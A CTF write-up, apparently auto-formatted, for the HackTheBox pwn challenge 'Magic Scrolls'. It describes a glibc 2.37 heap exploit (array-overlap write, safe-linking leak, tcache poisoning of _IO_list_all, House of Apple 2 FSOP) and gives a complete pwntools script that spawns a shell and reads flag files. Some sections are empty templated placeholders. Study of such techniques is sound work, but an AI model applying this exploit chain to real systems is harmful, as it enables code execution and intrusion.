← Back to Writeups
HTBN/APwn

Magic Scrolls

XESXOR8/23/202613 min read
#pwn#htb#n/a

Magic Scrolls

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-30 | Status: Solved Techniques: array_overlap_bug, fsop_exit_trigger, house_of_apple_2, overlap_poison_arbitrary_write, safe_linking_recovery, self_introspection_via_arbitrary_read, tcache_poisoning, unsorted_bin_libc_leak

Summary

Task: glibc 2.37 menu-based heap pwn where a global magic_numbers[] array overlaps the spells[] pointer table, giving an arbitrary 8-byte write into two heap-pointer slots. Solution: build arbitrary read/free primitives from the overlap, leak heap (safe-linking) and libc (unsorted bin), perform a double-free-key-safe overlap-poison tcache write of _IO_list_all, and trigger House of Apple 2 FSOP via exit() for a shell.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260530_hackthebox_magic_scrolls
  • Tags: pie, heap, full_relro, tcache_poisoning, arbitrary_read, unsorted_bin_leak, overlapping_chunks, safe_linking, house_of_apple_2, fsop, glibc_2_37
  • Indicators: glibc 2.37 (no __free_hook/__malloc_hook), global magic_numbers[] array overlaps spells[] pointer table, menu heap allocator create/remove/read with a 'super_spell' favorite that refreshes pointer but locks length, Full RELRO + PIE + Canary + NX, arbitrary 8-byte write into pointer slots via update_magic_numbers indices 4/5
  • Source: 20260530_hackthebox_magic_scrolls.md

Foothold

Vulnerability / Misconfiguration

  1. Array_overlap_bug
  2. Fsop_exit_trigger
  3. House_of_apple_2
  4. Overlap_poison_arbitrary_write
  5. Safe_linking_recovery
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • array_overlap_bug
  • fsop_exit_trigger
  • house_of_apple_2
  • overlap_poison_arbitrary_write
  • safe_linking_recovery
  • self_introspection_via_arbitrary_read
  • tcache_poisoning
  • unsorted_bin_libc_leak
  • Tags: pie, heap, full_relro, tcache_poisoning, arbitrary_read, unsorted_bin_leak, overlapping_chunks, safe_linking, house_of_apple_2, fsop, glibc_2_37

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Legends say that if magical numbers align in the right sequence, magic will happen.

A medium-difficulty heap-exploitation challenge. We are given a PIE ELF64 binary magic (not stripped) bundled with its own loader and libc (Debian GLIBC 2.37-7), plus a Dockerfile (ubuntu:22.04 + socat). The remote service runs:

socat tcp-l:1337,reuseaddr,fork EXEC:./magic

Goal: pop a shell on the remote and read flag.txt.

Analysis

Protections

Full RELRO | Stack Canary | NX | PIE

Crucially the libc is glibc 2.37, where __free_hook and __malloc_hook have been removed (the symbols may still exist but are never dereferenced by the allocator). That kills the classic hook-overwrite RCE path — code execution must come from FSOP (we use House of Apple 2).

Program behavior

main first reads a "magic charm":

read(0, buf, 0x40);
if (strcmp(buf, "Alohomora") == 0) power = 4;   // unlocks the bug

Then a 6-option menu loops:

OptNameEffect
1update_magic_numberswrite a magic number, and (if power!=0) project two of them onto spells[0]/[1]
2create_spellsize=read(0,buf,0x1ff); spells[c]=malloc(size); memcpy; c++
3remove_spellfree(spells[idx]); spells[idx]=0; spell_len[idx]=0
4read_spellprint super_spell_len-1 bytes from super_spell (arbitrary read)
5set_favorite_spellfirst call selects a spell; later calls only refresh the pointer
6exitexit()

Global memory map (offsets from PIE base)

0x5010 super_spell_set   int32   (init -1)
0x5060 magic_numbers[0..3]   4 x int64
0x5080 spells[0..15]         16 x ptr     <-- magic_numbers[4] == spells[0]
0x5100 spell_len[0..15]      16 x int64        magic_numbers[5] == spells[1]
0x5180 super_spell  ptr
0x5188 spell_count  int32  (monotonic, NEVER decremented)
0x5190 super_spell_len  int64
0x5198 power  int32  (0 default, 4 after "Alohomora")

The core bug — array overlap

The title's "magical numbers align in the right sequence" is a hint: magic_numbers[] is only declared with 4 logical entries, but update_magic_numbers projects them onto the next array in memory, which is the spells[] pointer table:

// inside update_magic_numbers, only when power != 0:
if (mn[0]==0 && mn[2]==0) memset(&spells[0],0,1); else spells[0] = mn[0] & mn[2];
if (mn[1]==0 && mn[3]==0) memset(&spells[1],0,1); else spells[1] = mn[1] & mn[3];

So with power=4:

  • Setting mn[0]=V, mn[2]=-1 makes spells[0] = V & 0xffff...ff = Varbitrary pointer write into spells[0].
  • The memset(...,1) "zero" branch only clears the low byte of the current pointer → a partial overwrite primitive (preserves the high heap bytes).

Because create_spell's size is just read()'s return value (no overflow) and chunk sizes are fully attacker-chosen, the entire challenge is built on this single overlap write.

Derived primitives

  • P1 set spells[0]=Vupdate(1, V), then update(3, -1).
  • P2 set spells[1]=Vupdate(2, V), then update(4, -1).
  • P3 zero low byte of a heap pointer in a slot — set both contributing magic numbers to 0, triggering the memset(&slot,0,1) branch (keeps the high heap bytes → turns a chunk pointer into a page/segment-aligned address).
  • P4 arbitrary read (~0xff bytes) — lock a favorite of length 0x100, then repeatedly P1/P2 the slot to any address and refresh+read. super_spell_len stays locked at 0x100 while super_spell follows the slot.
  • P5 arbitrary free — P1 the slot to X, remove_spell it → free(X).

The favorite mechanic is the key enabler of arbitrary read: the length is locked on first selection, but every later set_favorite call simply refreshes super_spell = spells[idx]. So we point the slot anywhere and read a fixed 0x100-byte window.

Solution

1. Unlock the bug

Send Alohomora to the charm prompt → power=4.

2. Heap leak via safe-linking

create s0 (0x10) and s1 (0x100); set_favorite(1) locks super_spell_len=0x100. Free s0 → tcache[0x20] with a single entry, so under safe-linking its fd = chunk >> 12 (next pointer is NULL because it is the only entry). Use P3 to zero the low byte of spells[1] so it points to heap_base + 0x200, then refresh+read 0x100 bytes. The mangled tcache fd lands at window offset 0xa0, giving heap_base = fd << 12.

3. Libc leak via unsorted bin

Fill tcache[0x110] with 7 freed chunks, plus a guard 0x80 chunk to prevent top consolidation, then free an 8th 0x110 chunk → it goes to the unsorted bin, whose fd/bk point into main_arena inside libc. Using P4, scan heap windows for a 0x7f.... qword; recover libc_base = leaked_fd - 0x1d3ce0 (the main_arena offset). Verify by reading _IO_2_1_stdout_ + 0xd8 and checking the vtable equals _IO_file_jumps — this confirms the libc base before any write happens.

Notably, all introspection (heap base, libc base, even the OUTER chunk address during development) is performed with the program's own arbitrary-read primitive, not just gdb — the exploit is fully self-contained and robust on remote.

4. Arbitrary write via "overlap-poison" (double-free-key-safe)

A naive tcache double-free trips the glibc 2.37 double-free detection (the per-chunk e->key == tcache check). We avoid it entirely by poisoning the fd of a fake chunk that lives inside a larger chunk we control, so we never free the same address twice:

  1. OUTER (0x1f0 request → 0x200 chunk) is created with a fake 0x20 chunk header at OUTER+0x40 (size field at OUTER+0x38 = 0x21).
  2. Create R20 (0x10) and free it → tcache[0x20] count 1.
  3. P1 sets spells[0] = OUTER+0x40 and remove_spell(0) → frees the fake chunk → tcache[0x20]: fake → R20 (count 2). The fake chunk's fd (at OUTER+0x40) now holds mangle(R20).
  4. Free OUTER → tcache[0x200]. Then re-create OUTER with a payload that (a) rewrites fake.fd = PROTECT_PTR(OUTER+0x40, _IO_list_all) and (b) embeds the compact fake FILE at OUTER+0x50. Now tcache[0x20]: fake → _IO_list_all.
  5. create(0x10) pops the fake chunk; create(p64(FB)) pops _IO_list_all itself and the memcpy writes FB (the fake FILE address) there — an 8-byte arbitrary write to _IO_list_all.

Why this dodges the double-free key check: we only ever pass each real address to free once. The "duplicate" entry is the fake chunk header crafted inside OUTER; its e->key field is attacker-controlled data (just bytes inside OUTER's payload), so the integrity check sees a clean key and never aborts. The OUTER offset from the heap base is deterministic for this build (0xce0) because the allocation sequence is fixed; only ASLR randomizes the base, which we already leaked. The chain uses exactly the 16 create_spell slots (indices 0..15).

5. RCE via House of Apple 2 (FSOP through exit)

FB is a compact fake FILE whose _wide_data points to itself. On exit(), _IO_flush_all_lockp walks _IO_list_all = FB, dispatches _IO_wfile_overflow_IO_wdoallocbuf (because wide._IO_buf_base == NULL) → wide_vtable->__doallocate(fp), which we set to system. With _flags = " sh", this becomes system(" sh") → shell.

Key fake-FILE fields (compact, _wide_data = FB):

  • _flags = " sh\x00..."system(" sh")
  • FILE._mode = 1, FILE.vtable = _IO_wfile_jumps, FILE._wide_data = FB, FILE._chain = 0
  • wide._IO_write_base = 0, wide._IO_write_ptr = 1, wide._IO_buf_base = 0 (triggers _IO_wdoallocbuf)
  • wide._wide_vtable = FB+0x18, and *(FB+0x18+0x68) = system

Trigger: menu option 6 → exit() → shell → cat flag.txt.

libc 2.37 offsets (challenge libc)

system            = 0x4c920
_IO_2_1_stdout_   = 0x1d4780
_IO_list_all      = 0x1d4680
_IO_wfile_jumps   = 0x1d0240
main_arena (unsorted fd) = 0x1d3ce0

Environment note

The host was macOS (cannot run the Linux ELF natively). We built a ubuntu:22.04 Docker dev image with pwntools/gdb and tested there. The binary uses its bundled loader (interp=./ld-2.37.so, RUNPATH=.), so process('./magic') loads glibc 2.37 correctly without patchelf.

Full exploit

#!/usr/bin/env python3
"""
HackTheBox - Magic Scrolls (pwn) - glibc 2.37 heap
Primitives:
  P1 set spells[0]=V ; P2 set spells[1]=V ; P3 zero low byte ; P4 arb-read 0xff bytes ; P5 arb-free
Plan: Alohomora -> heap leak (P3+tcache fd) -> libc leak (unsorted bin, scan) ->
      arb write via overlap-poison -> House of Apple 2 on _IO_list_all -> shell.
"""
from pwn import *
import sys, os

context.arch = 'amd64'
context.log_level = 'info'

libc = ELF('./libc.so.6', checksec=False)

def conn():
    if len(sys.argv) > 2:
        return remote(sys.argv[1], int(sys.argv[2]))
    if os.environ.get('REMOTE'):
        h, p = os.environ['REMOTE'].split(':')
        return remote(h, int(p))
    return process('./magic')

# ---------- menu helpers ----------
def menu(io, c):
    io.recvuntil(b'> ')
    io.sendline(str(c).encode())

def update_magic(io, idx, value):
    menu(io, 1)
    io.recvuntil(b'Index for magic number: ')
    io.sendline(str(idx).encode())
    io.recvuntil(b'Magic number: ')
    if value < 0:
        value += 1 << 64
    if value >= 1 << 63:
        value -= 1 << 64
    io.sendline(str(value).encode())

def create(io, data):
    menu(io, 2)
    io.recvuntil(b'Spell: ')
    assert 1 <= len(data) <= 0x1ff
    io.send(data)

def remove_spell(io, idx):
    menu(io, 3)
    io.recvuntil(b'Index: ')
    io.sendline(str(idx).encode())

def set_favorite(io, idx=None):
    menu(io, 5)
    if idx is not None:
        io.recvuntil(b'Favorite spell: ')
        io.sendline(str(idx).encode())

def set_spells0(io, value):   # P1
    update_magic(io, 1, value)
    update_magic(io, 3, -1)

def set_spells1(io, value):   # P2
    update_magic(io, 2, value)
    update_magic(io, 4, -1)

def zero_low_spells1(io):     # P3 on spells[1]
    update_magic(io, 2, 0)
    update_magic(io, 4, 0)

def _clean(raw):
    """strip decorative ':-:' + whitespace from read_spell output region"""
    region = raw
    out = b''
    i = 0
    while i < len(region):
        if region[i:i+3] == b':-:':
            i += 3
            while i < len(region) and region[i:i+1] in (b'\n', b' ', b'\t'):
                i += 1
            if region[i:i+3] == b':-:':
                i += 3
            continue
        out += region[i:i+1]
        i += 1
    return out

def read_spell_raw(io):
    menu(io, 4)
    raw = io.recvuntil(b'1) Update', drop=True)
    return raw

def read_at(io, addr, want=0xf8):
    """P4: read ~0xff bytes from addr (favorite is index 1, super_spell_len locked 0x100)."""
    set_spells1(io, addr)
    set_favorite(io)            # refresh branch: super_spell = spells[1]
    raw = read_spell_raw(io)
    data = _clean(raw[1024:])   # spell bytes live after the leading banner art
    return data

# ---------- exploit ----------
def main():
    io = conn()
    io.recvuntil(b'Enter magic charm')
    io.recvuntil(b'> ')
    io.sendline(b'Alohomora')
    log.success('power=4')

    # ===== HEAP LEAK =====
    create(io, b'A' * 0x10)     # s0 -> chunk 0x20
    create(io, b'B' * 0x100)    # s1 -> chunk 0x110
    set_favorite(io, 1)         # lock super_spell_len=0x100, super_spell_set=1
    remove_spell(io, 0)         # free s0 -> tcache[0x20]; fd = (chunk>>12)
    zero_low_spells1(io)        # spells[1] low byte -> 0  (= heap_base+0x200)
    set_favorite(io)            # refresh
    raw = read_spell_raw(io)
    data = _clean(raw[1024:])
    fd = u64(data[0xa0:0xa8].ljust(8, b'\x00'))
    heap = fd << 12
    log.success(f'heap base = {hex(heap)}')
    assert heap & 0xfff == 0 and 0x500000000000 < heap < 0x600000000000, 'heap leak bad'

    # ===== LIBC LEAK via unsorted bin (robust scan) =====
    for _ in range(7):
        create(io, b'C' * 0x100)         # s2..s8  (chunk 0x110)
    create(io, b'D' * 0x100)             # s9      (chunk 0x110) -> will be unsorted
    create(io, b'E' * 0x80)              # s10 guard (prevents consolidation with top)
    for i in range(2, 9):
        remove_spell(io, i)              # fill tcache[0x110]
    remove_spell(io, 9)                  # s9 -> unsorted bin

    libc_base = None
    for off in range(0x200, 0x1200, 0xf0):
        d = read_at(io, heap + off)
        for k in range(0, len(d) - 8, 8):
            v = u64(d[k:k+8])
            if 0x7f0000000000 <= v < 0x800000000000:
                cand = v - 0x1d3ce0
                if cand & 0xfff == 0:
                    libc_base = cand
                    log.info(f'candidate libc fd={hex(v)} at heap+{hex(off)}+{hex(k)} -> base {hex(cand)}')
                    break
        if libc_base:
            break
    assert libc_base, 'no libc pointer found in heap scan'

    # verify libc base by reading _IO_2_1_stdout_ vtable == _IO_file_jumps
    libc.address = libc_base
    vt = read_at(io, libc.sym._IO_2_1_stdout_ + 0xd8)
    vtable = u64(vt[0:8])
    log.info(f'stdout vtable read = {hex(vtable)} ; _IO_file_jumps = {hex(libc.sym._IO_file_jumps)}')
    if vtable != libc.sym._IO_file_jumps:
        log.warning('vtable mismatch -> libc base likely wrong, aborting for retune')
    else:
        log.success(f'libc base = {hex(libc_base)} (verified)')

    log.info(f'system={hex(libc.sym.system)} stdout={hex(libc.sym._IO_2_1_stdout_)} '
             f'wfile_jumps={hex(libc.sym._IO_wfile_jumps)} list_all={hex(libc.sym._IO_list_all)}')

    def protect(pos, ptr):
        return (pos >> 12) ^ ptr

    def rdq(addr):
        d = read_at(io, addr)
        return u64(d[0:8])

    # ===== ARBITRARY WRITE via overlap-poison (bin 0x20) =====
    # OUTER (0x1f0) contains a fake 0x20 chunk at OUTER+0x40 (size @ +0x38 = 0x21)
    PAY1 = fit({0x38: p64(0x21)}, length=0x1f0)
    create(io, PAY1)                 # idx11 OUTER
    create(io, b'R' * 0x10)          # idx12 R20 (pops s0 from tcache[0x20])
    remove_spell(io, 12)             # free R20 -> tcache[0x20] count1

    if os.environ.get('DBG'):
        remove_spell(io, 11)         # free OUTER -> tcache[0x200]
        outer = rdq(heap + 0x180)    # entries[0x1e] = tcache[0x200] head
        log.success(f'OUTER_user = {hex(outer)}  OFF = {hex(outer - heap)}')
        io.close(); return

    # deterministic heap offset (same binary+libc => same layout, independent of ASLR)
    OUTER_OFF = int(os.environ.get('OUTER_OFF', '0xce0'), 0)
    outer = heap + OUTER_OFF
    fake_user = outer + 0x40
    FB = outer + 0x50               # fake FILE base (compact, _wide_data = FB)

    set_spells0(io, fake_user)
    remove_spell(io, 0)             # free fake -> tcache[0x20]: fake -> R20 (count2)

    # build compact House-of-Apple-2 fake FILE at FB (placed inside OUTER via reOUTER)
    ff = {
        0x00: b'  sh\x00\x00\x00\x00',          # _flags -> system("  sh")
        0x18: p64(0),                            # wide._IO_write_base
        0x20: p64(1),                            # wide._IO_write_ptr (>base) ; FILE._IO_write_base
        0x30: p64(0),                            # wide._IO_buf_base = NULL -> wdoallocbuf
        0x68: p64(0),                            # FILE._chain = 0
        0x80: p64(libc.sym.system),              # wide vtable[0x68] (vtable = FB+0x18)
        0x88: p64(0),                            # FILE._lock target (=0)
        0xa0: p64(FB),                           # FILE._wide_data = FB
        0xc0: p64(1),                            # FILE._mode = 1
        0xd8: p64(libc.sym._IO_wfile_jumps),     # FILE.vtable
        0xe0: p64(FB + 0x18),                    # wide._wide_vtable = FB+0x18
    }
    ff_bytes = fit({k + 0x50: v for k, v in ff.items()})   # shift into OUTER at +0x50
    target = libc.sym._IO_list_all
    PAY2 = fit({0x38: p64(0x21),
                0x40: p64(protect(fake_user, target))},
               length=0x1f0)
    PAY2 = bytearray(PAY2)
    fb = bytearray(ff_bytes)
    for i, b in enumerate(fb):
        if 0x50 <= i < 0x1f0:
            PAY2[i] = b
    PAY2 = bytes(PAY2)

    remove_spell(io, 11)            # free OUTER -> tcache[0x200]
    create(io, PAY2)               # idx13 reOUTER: pop OUTER, poison fake.fd=mangle(_IO_list_all)
    create(io, b'Y' * 0x10)        # idx14 popfake: pop fake; entries[0]=_IO_list_all
    create(io, p64(FB))            # idx15 poptarget: pop _IO_list_all, write FB there (8 bytes)
    log.success(f'_IO_list_all -> {hex(FB)} (fake FILE)')

    # trigger: exit -> _IO_flush_all_lockp -> fake FILE -> system("  sh")
    io.recvuntil(b'> ', timeout=2)   # menu prompt after last create
    io.sendline(b'6')                # choice >5 -> default -> exit() -> shell
    sleep(1.0)
    io.sendline(b'echo SHELL_OK; cat flag.txt; cat /home/ctf/flag.txt 2>/dev/null; cat /flag* 2>/dev/null')
    sleep(1.0)
    try:
        data = io.recvrepeat(4)
        print('---- shell output ----')
        print(data.decode(errors='replace'))
    except Exception as e:
        print('recv err', e)
    io.interactive()

if __name__ == '__main__':
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR